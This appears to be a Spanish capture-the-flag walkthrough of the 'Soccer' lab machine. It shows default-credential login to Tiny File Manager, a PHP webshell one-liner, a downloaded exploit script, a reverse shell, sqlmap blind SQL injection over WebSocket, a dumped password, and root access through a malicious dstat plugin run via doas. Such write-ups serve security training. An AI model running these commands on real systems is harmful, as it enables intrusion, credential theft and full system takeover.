# Soccer

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-62694b68cef7ced683017b4fd9583a3800afa420%2FPasted%20image%2020250527122406.png?alt=media)

**Publicado:** 12 de Mayo de 2025\
**Autor:** José Miguel Romero aKa **x3m1Sec**\
**Dificultad:** ⭐ Easy

### 📝 Descripción

**Soccer** es una máquina Linux de dificultad Easy que presenta múltiples vectores de ataque interesantes. La explotación inicial se basa en el descubrimiento de un **Tiny File Manager** vulnerable alojado en un directorio oculto, el cual utiliza credenciales por defecto. Aunque los exploits públicos fallan debido a restricciones de permisos, es posible aprovechar la funcionalidad nativa del file manager para crear y modificar archivos PHP, permitiendo la ejecución de una reverse shell.

La escalada horizontal involucra el descubrimiento de un segundo vhost mediante enumeración de configuraciones de nginx. Este nuevo sitio web contiene una aplicación con funcionalidad de tickets que es vulnerable a **SQL Injection ciega a través de WebSockets**, lo que permite extraer credenciales de la base de datos usando sqlmap.

Finalmente, la escalada de privilegios se logra mediante el binario **doas** (alternativa a sudo) que permite ejecutar **dstat** como root. Aprovechando la capacidad de dstat para cargar plugins de Python personalizados desde directorios escribibles, es posible ejecutar código arbitrario con privilegios de root.

Esta máquina es excelente para practicar técnicas de enumeración web avanzada, explotación de file managers, SQL injection en protocolos no convencionales y escalada de privilegios mediante binarios menos comunes.

### 🔭 Reconocimiento

#### Ping para verificación en base a TTL

```
ping -c2 10.10.11.194         
PING 10.10.11.194 (10.10.11.194) 56(84) bytes of data.
64 bytes from 10.10.11.194: icmp_seq=1 ttl=63 time=47.9 ms
64 bytes from 10.10.11.194: icmp_seq=2 ttl=63 time=47.6 ms

--- 10.10.11.194 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 47.642/47.763/47.885/0.121 ms
```

> 💡 **Nota**: El TTL cercano a 64 sugiere que probablemente sea una máquina Linux.

#### Escaneo de puertos y servicios

```bash
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.194 | grep ^[0-9] | cut -d '/' -f1 | tr '\n' ',' | sed s/,$//)

echo $ports
22,80,9091
```

```bash
nmap -sC -sV -p$ports 10.10.11.194
```

```bash
PORT     STATE SERVICE         VERSION
22/tcp   open  ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http            nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open  xmltec-xmlmail?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   GetRequest: 
|     HTTP/1.1 404 Not Found
|     Content-Security-Policy: default-src 'none'
...[snip]...
SF:0Bad\x20Request\r\nConnection:\x20close\r\n\r\n");
```

⚠️ **Importante**: Detectamos durante la fase de enumeración con nmap que se está realizando virtual hosting. Debemos añadir el siguiente vhost a nuestro fichero /etc/hosts

```bash
echo "10.10.11.194 soccer.htb" | sudo tee -a /etc/hosts
```

### 🌐 Enumeración Web

#### HTTP (80)

<http://soccer.htb/>

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-a5d4ab66ae4b7f8e98704316f72a99cbc1c0f46d%2FPasted%20image%2020250527123221.png?alt=media)

#### 🕷️Fuzzing de directorios

A priori no tenemos gran cosa, realizamos fuzzing web usando la herramienta gobuster:

```bash
gobuster dir -u http://soccer.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt  -b 403,404 -x .php, .txt, .xml -r
```

Gobuster nos revela un recurso poco convencional:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-50d1c342b94116050155624acd2ddf28d70446f0%2FPasted%20image%2020250527123236.png?alt=media)

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-f9e811d8cfecb8bea16672fc46d0bb27e6697018%2FPasted%20image%2020250527123246.png?alt=media)

Cuando intentamos acceder, nos redirige automáticamente a un sitio web que está utilizando un servicio llamado tiny file manager y nos encontramos ante un panel de autenticación.

Buscamos y probamos credenciales por defecto de este servicio

En el sitio web <https://exploit-notes.hdks.org/exploit/web/tiny-file-manager-pentesting/> encontramos credenciales por defecto para este servicio:

!\[\[Pasted image 20250527123255.png]]

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-7bfab1bf06135ef0845bdc55cabbb6dfdd1acdbc%2FPasted%20image%2020250527123255.png?alt=media)

Logramos entrar y enumeramos la versión del servicio:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-d68a9e1cf27bf9b8523f13949010c3abe50f9721%2FPasted%20image%2020250527123305.png?alt=media)

### 💻 Explotación

Parece que esta versión es vulnerable y existen algunos exploits públicos:

<https://github.com/febinrev/tinyfilemanager-2.4.3-exploit>

Descargamos la versión en python de este exploit: <https://github.com/febinrev/tinyfilemanager-2.4.3-exploit/blob/main/tiny\\_file\\_manager\\_exploit.py>

Este exploit no nos funciona porque el directorio /var/www/html/tiny no tiene permisos de escritura y no nos permite subir ahí el payload

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-73c62dc86626c19a21b3db11e23923842855952c%2FPasted%20image%2020250527123315.png?alt=media)

Tampoco nos funciona si intentamos incrustar una webshell php dentro del codigo tinyfilemanager.php:

```php
<?php system($_GET['cmd']); ?>
```

Probamos con este otro exploit:

```bash
wget https://www.exploit-db.com/raw/50828 -O exploit.sh 
dos2unix exploit.sh 
chmod +x exploit.sh 
./exploit.sh http://soccer.htb/tiny/tinyfilemanager.php admin "admin@123"
```

Obtenemos el mismo error, no tenemos permisos para subir nada a la ruta por defecto:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-a2e5727f195621b53294a709b10396f96a6266e4%2FPasted%20image%2020250527123324.png?alt=media)

Cambiemos el enfoque, el file manager de tiny nos da la opción de copiar y mover archivos y directorios. Vamos a usar la utilidad Copy para crear una copia de tinyfilemanager.php de la siguiente forma:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-475846787908d8051f197703a394b5098b21be52%2FPasted%20image%2020250527123334.png?alt=media)

A continuación renombramos el archivo a shell.php, le damos permisos de ejecución (que de inicio no los tiene) y reemplazamos el código por el de una reverse shell php de pentestmonkey:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-e6a9d962ee92e157043c41cb32976c91637a748d%2FPasted%20image%2020250527123344.png?alt=media)

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-f8fdc8dd54a57d35db4d343574046a824ae838e5%2FPasted%20image%2020250527123352.png?alt=media)

Ahora solo nos queda iniciar un listener y cuando hagamos click en Open ganaremos una reverse shell

```bash
nc -nlvp 1234
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-958c7e1bbb038dea11d0e7c15cc6fc60a3c782ca%2FPasted%20image%2020250527123402.png?alt=media)

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-4df166c59839694f9af3b9f057f427bf25aeff66%2FPasted%20image%2020250527123412.png?alt=media)

Una vez dentro de la máquina, vamos a busca archivos de configuración de nginx por si pudiera haber otros vhosts alojados:

```bash
find / -type d -name "nginx" 2&>/dev/null
```

Localizamos la instalación de nginx en /etc/nginx y en su interior está el archivo nginx.conf

Este archivo nos indica que la configuración de los vhosts está definida en estos otros archivos:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-5f737cfe624e66ace2aa62ebcea77d0eef635756%2FPasted%20image%2020250527123425.png?alt=media)

Descubrimos un nuevo subdominio:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-c259eba68bf15ff93c1b8e11b2d9f7abd5f047fa%2FPasted%20image%2020250527123435.png?alt=media)

Lo añadimos en el fichero /etc/hosts de nuesto host de ataque y accedemos:

<http://soc-player.soccer.htb/>

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-877fd9f408a625c3350334c86658094d2c61b13e%2FPasted%20image%2020250527123444.png?alt=media)

La web tiene un formulario de registro, nos registramos usando las siguientes credendiales:

```
prueba@test.es
test
```

Al acceder con nuestra nueva cuenta, tenemos una sección de tickets:

Revisando el código fuente de la página encontramos un script que indica la petición que se está realizando mediante websocket:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-4984b2d5e6450c91caf02d58496ebf3f04102328%2FPasted%20image%2020250527123454.png?alt=media)

Al jugar con el formulario de tickets tenemos un error de ticket no existe:

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-12983376b75ca1ecdb5c24493342fd4487873a6b%2FPasted%20image%2020250527123503.png?alt=media)

Vamos a ver con Burp como se está enviando esta petición y manipularla para ver si es vulnerable a SQLI y en efecto lo es, ya que logramos que nos diga que el ticket es válido.

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-38065811c2270c028681ef29c7a304b2a514759f%2FPasted%20image%2020250527123512.png?alt=media)

Usamos sqlmap de la siguiente forma para automatizar la blind sqli injection:

```bash
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --dbs --threads 10 --level 5 --risk 3 --batch
```

!\[]\(images/Pasted%20image%20 20250527123522.png)

Relizamos un dump de la base de datos soccer\_db

```bash
sqlmap -u "ws://soc-player.soccer.htb:9091" --data '{"id": "*"}' --threads 10 -D soccer_db --dump --batch   
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-10c8bea314278ff0a573f3f8220e683fc2a3cb3c%2FPasted%20image%2020250527123533.png?alt=media)\
Obtenemos un nombre de usuario y una contraseña. Anteriormente enumeramos dos usuarios en el directorio /home de la máquina que habíamos comprometido y uno de ellos era player, podemos ver si el usuario está reutilizando la contraseña para varios servicios.

```bash
www-data@soccer:/etc/nginx/sites-enabled$ su player
su player
Password: PlayerOftheMatch2022
whoami
player
/bin/bash -i
player@soccer:/etc/nginx/sites-enabled$
```

Ahora ya podemos capturamos la flag en el directorio del usuario player.

#### 👑 Escalada de privilegios

Enumeramos binarios con SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

De la lista, hay varios binarios con bit SetUID, pero el que **se parece más a `sudo` y no es `sudo`** es:

> 🔸 **`/usr/local/bin/doas`**

***

#### ✅ ¿Por qué `doas`?

* `doas` es una alternativa a `sudo` que permite ejecutar comandos como otro usuario (normalmente root).
* Se originó en OpenBSD y algunas distros de Linux lo usan como una alternativa más simple y segura que `sudo`.
* Al tener el **bit SetUID**, puede ejecutarse con privilegios elevados, igual que `sudo`.

Si está configurado correctamente (en `/etc/doas.conf`) y tu usuario tiene permiso, deberíamos obtener algo como:

```bash
cat /usr/local/etc/doas.conf
```

Dstat es una herramienta para generar estadísticas de recursos del sistema. Su manual ofrece información interesante, especialmente la posibilidad de usar complementos de Python para la herramienta.

Si podemos ejecutar código Python como usuario root, podríamos generar un shell con los privilegios elevados intactos.\
Aunque los complementos de dstat solo se pueden alojar en ciertos directorios, tenemos acceso de escritura a uno de ellos: /usr/local/share/dstat. Esto significa que potencialmente podemos explotar este acceso para ejecutar código arbitrario como usuario root.

Creamos un script de Python que genera un shell bash y lo guardamos en el directorio mencionado anteriormente, asegurándonos de anteponerle dstat\_, según el manual.

```bash
echo 'import os; os.system("/bin/bash")' > /usr/local/share/dstat/dstat_pwn.py
```

Para verificar que dstat detecte el complemento, ejecutamos el comando con el indicador --list.

```bash
doas /usr/bin/dstat --list
```

Finalmente, después de confirmar que nuestro complemento es detectado, ejecutamos dstat y especificamos el complemento pasándolo como un argumento de línea de comando, usando un prefijo --.

```bash
doas /usr/bin/dstat --pwn
```

![](https://676251173-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fs6pPsnegBMYnJpzHBrVK%2Fuploads%2Fgit-blob-6a4f8b1b9e60492cb30910487555914883bdd51e%2FPasted%20image%2020250527124616.png?alt=media)
